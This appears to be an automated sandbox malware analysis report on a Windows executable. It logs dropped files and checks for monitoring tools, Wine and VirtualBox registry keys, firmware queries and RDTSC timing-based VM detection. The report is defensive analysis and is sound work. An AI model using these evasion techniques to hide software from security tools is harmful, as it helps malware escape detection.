Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552

Source: s31ydU1MpQ.exe	Static PE information: section name: entropy: 7.972189895344259
Source: s31ydU1MpQ.exe	Static PE information: section name: npsrnsek entropy: 7.95317803720264

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File created: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe			Jump to dropped file
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File created: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 658312 second address: 65831C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 657BA3 second address: 657BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 657BB0 second address: 657BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D0DB0 second address: 7D0DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D6C24 second address: 7D6C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FCBAD522AA6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCBAD522AB5h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D6C4A second address: 7D6C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D6C5C second address: 7D6C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D6F31 second address: 7D6F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D70D5 second address: 7D70F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D70F8 second address: 7D710F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCBACB2D11Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D710F second address: 7D711B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCBAD522AA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D711B second address: 7D712A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jo 00007FCBACB2D12Eh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D712A second address: 7D713A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jo 00007FCBAD522AA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D728F second address: 7D7295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D7571 second address: 7D758D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FCBAD522AABh 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D758D second address: 7D7591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D9D66 second address: 7D9E02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 19D5F9DFh 0x00000010 push 00000003h 0x00000012 mov edi, dword ptr [ebp+122D3950h] 0x00000018 push 00000000h 0x0000001a sub dword ptr [ebp+122D1CC3h], ecx 0x00000020 push 00000003h 0x00000022 mov dword ptr [ebp+1245338Dh], edx 0x00000028 push AA142277h 0x0000002d jmp 00007FCBAD522AABh 0x00000032 xor dword ptr [esp], 6A142277h 0x00000039 mov dword ptr [ebp+122D280Ch], esi 0x0000003f lea ebx, dword ptr [ebp+12455B88h] 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007FCBAD522AA8h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 00000017h 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f xchg eax, ebx 0x00000060 push edi 0x00000061 jmp 00007FCBAD522AB9h 0x00000066 pop edi 0x00000067 push eax 0x00000068 push edx 0x00000069 push esi 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D9EAC second address: 7D9EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7DA000 second address: 7DA004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7DA004 second address: 7DA00A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7DA00A second address: 7DA02E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d je 00007FCBAD522AA6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7DA173 second address: 7DA177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7D2886 second address: 7D2896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCBAD522AAAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F85D9 second address: 7F85DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F875F second address: 7F8764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8764 second address: 7F876A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8B80 second address: 7F8B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8B84 second address: 7F8BC1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCBACB2D116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FCBACB2D143h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8BC1 second address: 7F8BCB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCBAD522AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8D4C second address: 7F8D5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FCBACB2D11Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8E90 second address: 7F8E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCBAD522AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8E9B second address: 7F8EA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8EA2 second address: 7F8EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCBAD522AACh 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007FCBAD522AA6h 0x00000015 pop ecx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8EC6 second address: 7F8ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8ECC second address: 7F8ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F8ED3 second address: 7F8EEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FCBACB2D123h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F91F5 second address: 7F920D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCBAD522AAFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F920D second address: 7F9211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F9340 second address: 7F936A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCBAD522AB8h 0x0000000b popad 0x0000000c jmp 00007FCBAD522AABh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F9495 second address: 7F949B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F949B second address: 7F94A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F94A3 second address: 7F94C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ebx 0x0000000a ja 00007FCBACB2D116h 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 je 00007FCBACB2D11Eh 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7EFEE3 second address: 7EFF07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FCBAD522AB6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F97AF second address: 7F97BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F97BB second address: 7F97BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F97BF second address: 7F97D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCBACB2D11Ch 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F97D7 second address: 7F97DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F9D51 second address: 7F9D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7F9EB6 second address: 7F9EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7FA012 second address: 7FA016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7FA016 second address: 7FA01C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7FA485 second address: 7FA48F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7FECFB second address: 7FECFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7FECFF second address: 7FED05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7CD7A5 second address: 7CD7AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7CD7AA second address: 7CD7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802132 second address: 802137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802137 second address: 802149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCBACB2D116h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
